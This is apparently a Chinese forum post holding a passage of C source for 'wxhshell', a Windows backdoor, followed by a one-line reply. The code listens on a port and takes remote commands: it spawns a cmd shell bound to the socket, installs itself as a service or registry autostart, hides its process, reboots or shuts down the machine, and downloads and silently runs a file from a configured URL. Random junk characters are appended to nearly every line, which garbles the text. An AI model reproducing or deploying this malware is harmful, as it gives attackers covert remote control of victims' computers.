  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LFen!FnM  
  } %m+Z rH(  
  else { !Z%QD\knY  
A.35WGu&:  
    switch(cmd[0]) {  gxU(&  
  o S_'@u.5  
  // 帮助 uKpl+>  
  case '?': { 86R}G/>>e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q69a-5q  
    break; pNVao{::5  
  } G<Lm}  
  // 安装 O~'1)k>  
  case 'i': { HFo}r~  
    if(Install()) [USXNe/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7:bqh$3!s  
    else (9Hc`gd)p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /V7u0y  
    break; {7(h%]  
    } H{yPi7 P  
  // 卸载 hzKfYJcQ|  
  case 'r': { b <=K@I.=  
    if(Uninstall()) n[ba  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7-^df0  
    else <408lm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ~ikTo -  
    break; I62Yg p$K  
    } P-+^YN,  
  // 显示 wxhshell 所在路径 Sn0?_vH4  
  case 'p': { p,kJ#I  
    char svExeFile[MAX_PATH]; tvFJ^5  
    strcpy(svExeFile,"\n\r"); T,WWQm  
      strcat(svExeFile,ExeFile); ?W.Y x7c  
        send(wsh,svExeFile,strlen(svExeFile),0); xl# j_d,  
    break; K VQZ  
    } I,  
  // 重启 !Y\hF|[z  
  case 'b': { HnOF_Twq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /Zm@.%.  
    if(Boot(REBOOT)) <a$cB+t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _fMooI)U1  
    else { |d{(&s}  
    closesocket(wsh); ~PoGuj2wA  
    ExitThread(0); 0&5}[9?V'  
    } Or_9KX2  
    break; foL`{fA  
    } <JKPtF2b  
  // 关机 }jIb ^|#CD  
  case 'd': { [oKB1GkA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tH W"eag  
    if(Boot(SHUTDOWN)) \[,7#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oiFtPki  
    else { n`^</0  
    closesocket(wsh); (TnYUyFP`  
    ExitThread(0); v- {kPc=:#  
    } `P# h?tZ  
    break; ]0`[L<_r  
    }  t%FS 5  
  // 获取shell [X~H Uk??  
  case 's': { 4<LRa=XT$  
    CmdShell(wsh); kkzXv`+  
    closesocket(wsh); JVXBm]  
    ExitThread(0); jkD5Z`D  
    break; g|nPr)<  
  } $1?YVA7  
  // 退出 7 51\K`L  
  case 'x': { 08.dV<P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d6M d~$R  
    CloseIt(wsh); cDAO5^  
    break; $"_D"/*  
    } Z ,T TI>P  
  // 离开 =x[`W9.D  
  case 'q': { hob%'Y5%D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V}aXS;(r%  
    closesocket(wsh); wz:wR+  
    WSACleanup(); i 5_g z>  
    exit(1); d[O.UzQ  
    break; =Wl CE_  
        } C w$y  
  } K-#Rm%J+Wy  
  } lI&0 V5  
"` 9W"A=  
  // 提示信息 xvrCm`3n@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  ;xry  
} ^l iyWl  
  } | @mZ]`p  
l'o'q7&=z  
  return; gbSZ- ej  
} wk-ziw  
H"n"Q:Yp  
// shell模块句柄 p\!+j@H:  
int CmdShell(SOCKET sock) W=G[hT5L{  
{ KH[%HN5v  
STARTUPINFO si; { >4exyu6  
ZeroMemory(&si,sizeof(si)); . e]!i(5I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3S <5s}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `FmI?:Cv  
PROCESS_INFORMATION ProcessInfo; 6BMRl%3>Z  
char cmdline[]="cmd"; T4Zp5m")  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e`C'5`d]  
  return 0; :uMD$zF'5  
} 8-+IcyUza  
-5E%f|U  
// 自身启动模式 &&>OhH`  
int StartFromService(void) rb,&i1  
{ *8MU,6  
typedef struct b$M? _<G  
{ ]Oe#S"-Oo  
  DWORD ExitStatus; B)Gm"bLCOZ  
  DWORD PebBaseAddress; XmXHs4  
  DWORD AffinityMask; 9]d$G$Kv9  
  DWORD BasePriority; Kk#8r+ ,  
  ULONG UniqueProcessId; WE=`8`Li  
  ULONG InheritedFromUniqueProcessId; RAxA H  
}   PROCESS_BASIC_INFORMATION; 1?mQ fW@G  
!".@Wg$  
PROCNTQSIP NtQueryInformationProcess; T}fo:aB}  
`Y$LXF~,Om  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o/9 V1"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -6DfM,  
)vo PH)!  
  HANDLE             hProcess; O5e9vQH  
  PROCESS_BASIC_INFORMATION pbi; +mH Kk  
f? ko%c_p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \|wV Ii  
  if(NULL == hInst ) return 0;  \ 1|T  
~>+}(%<,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0y6nMI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2MJ0[9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J *^|ojX  
]D<r5P%  
  if (!NtQueryInformationProcess) return 0; x{IOn;>R  
oIf -s[uH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <5q:mG88  
  if(!hProcess) return 0; X $cW!a  
U3p=H^MB.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YY$K;t{dk  
6g7 X1C  
  CloseHandle(hProcess); 9 ?h)U|J?G  
=Y /  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3hb1^HNT  
if(hProcess==NULL) return 0; nCYicB  
^ zo"~1  
HMODULE hMod; $|sRj!F  
char procName[255]; "-N%`UA  
unsigned long cbNeeded; 'w!Hjq]$  
O/0m|~`iY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + PGfQN  
4Mnne'7  
  CloseHandle(hProcess); J]Uki*s  
'{Iv?gh"  
if(strstr(procName,"services")) return 1; // 以服务启动 g+)T\_#u  
54tpR6%3p  
  return 0; // 注册表启动 N}zQ)]xz+r  
} [@.%6aD  
Qt!l-/flh  
// 主模块 uKhfZSx0 w  
int StartWxhshell(LPSTR lpCmdLine) {3`9A7bG  
{ ")cdY) 14"  
  SOCKET wsl; {:'e H  
BOOL val=TRUE;  27w]Q_C  
  int port=0; 8n1Sy7K!;  
  struct sockaddr_in door; \6nWt6M  
/sC$;l  
  if(wscfg.ws_autoins) Install(); epz2d~;  
mltN$b%G=d  
port=atoi(lpCmdLine); oIX]9~  
t'FY*|xk  
if(port<=0) port=wscfg.ws_port; eK4\v:oG1  
fWF\ V[  
  WSADATA data; Q9?/)&3Bu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n T\ W|  
[o\O^d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hz*!c#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1R1J/Z*V/  
  door.sin_family = AF_INET; S9-K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E^Q|v45d  
  door.sin_port = htons(port);  |o=eS&)  
^tae (}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h6la+l?x  
closesocket(wsl);  cfpP?  
return 1; D|6p rC%/  
} Zwp*JH+G  
V$<og  
  if(listen(wsl,2) == INVALID_SOCKET) { C$ nT&06o  
closesocket(wsl); F8>Fp"  
return 1; =Tb~CT=  
} 0|P RCq  
  Wxhshell(wsl); r|6S&Ia>  
  WSACleanup(); ~kw[Aw3?D\  
-=O9D- x=  
return 0; `'.u$IBW  
)!){4c/  
} sf7'8+wj>  
>\3=h8zw  
// 以NT服务方式启动 OB l-6W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H2|&  
{ t&H):P  
DWORD   status = 0; i wQ'=M  
  DWORD   specificError = 0xfffffff; Y }Rx`%X  
q_ ']i6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .6f %"E,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [6)`wi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vR-rCve$P  
  serviceStatus.dwWin32ExitCode     = 0; :Y ~fPke  
  serviceStatus.dwServiceSpecificExitCode = 0; IHMZE42  
  serviceStatus.dwCheckPoint       = 0; Z/6B[,V  
  serviceStatus.dwWaitHint       = 0; C]\r~f  
h+}`mi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %Mz(G-I.\  
  if (hServiceStatusHandle==0) return; `A$yF38!  
dX,2cK[aG  
status = GetLastError(); lMFj"x\  
  if (status!=NO_ERROR) #&5m=q$EI  
{ _~| j~QE]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q2Ax-#  
    serviceStatus.dwCheckPoint       = 0; a~DR$^m  
    serviceStatus.dwWaitHint       = 0; N-4LdC  
    serviceStatus.dwWin32ExitCode     = status; P ;PS+S9  
    serviceStatus.dwServiceSpecificExitCode = specificError; N1zB; -0t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); srO {Ci0  
    return; HG5|h[4Gt  
  } 0:Yz'k5  
c7L#f=Ot?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >}43MxU?  
  serviceStatus.dwCheckPoint       = 0; V[uB0#Lp  
  serviceStatus.dwWaitHint       = 0; d&PXJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cd"O'<^Sb  
} Iy6 "2$%a  
?_(0cVi  
// 处理NT服务事件,比如:启动、停止 KYu3dC'/,&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [ % KBc}  
{ Uw)?u$+ P  
switch(fdwControl) 6rF[eb  
{ WojZ[j>  
case SERVICE_CONTROL_STOP: O>lF{yO0`  
  serviceStatus.dwWin32ExitCode = 0; P`cEu6:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [XhuJdr"u  
  serviceStatus.dwCheckPoint   = 0; Z,! w.TYo  
  serviceStatus.dwWaitHint     = 0; g\OPidY  
  { AhiZ0W"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M)!8 `]  
  } C>4y<,Q  
  return; ,a~- (@  
case SERVICE_CONTROL_PAUSE: FzXVNUMP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @;"HslU\Q  
  break; O}*[@uv/  
case SERVICE_CONTROL_CONTINUE: :S{[^ -"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yE. ZvvQA  
  break; A d=NJhzl  
case SERVICE_CONTROL_INTERROGATE: 9<W0'6%{/  
  break; i:ZpAo+Z{  
}; tE/j3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qXn %c"  
} M%/ML=eLi  
/<\>j+SC  
// 标准应用程序主函数 w*eO9k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 66,?f<b  
{ s>9w+|6Ji  
#(?EL@5  
// 获取操作系统版本 8Tyf#`'I  
OsIsNt=GetOsVer(); K!lGo3n]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A=Q"IdK  
/9/=]  
  // 从命令行安装 3&/5!zOg)  
  if(strpbrk(lpCmdLine,"iI")) Install(); aqK<}jy  
iL\<G} I  
  // 下载执行文件 &$ia#j{l  
if(wscfg.ws_downexe) { aF;Q SI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -^Baxkq(YM  
  WinExec(wscfg.ws_filenam,SW_HIDE); \=?f4*4|/  
} Klzsr,  
@f-0OX$*  
if(!OsIsNt) { u0^GB9q  
// 如果时win9x,隐藏进程并且设置为注册表启动 vClD)Ar  
HideProc(); / ~'ZtxA  
StartWxhshell(lpCmdLine); _Y40a+hk]  
} =mxmJFA  
else vq B)PL5)  
  if(StartFromService()) .ZJt  
  // 以服务方式启动 nsqc^ K^  
  StartServiceCtrlDispatcher(DispatchTable); aF1pq  
else x\)0+c~\}x  
  // 普通方式启动 KA# 4iu{  
  StartWxhshell(lpCmdLine); M~t S *  
D"oyl`q  
return 0; Y?=+A4v  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八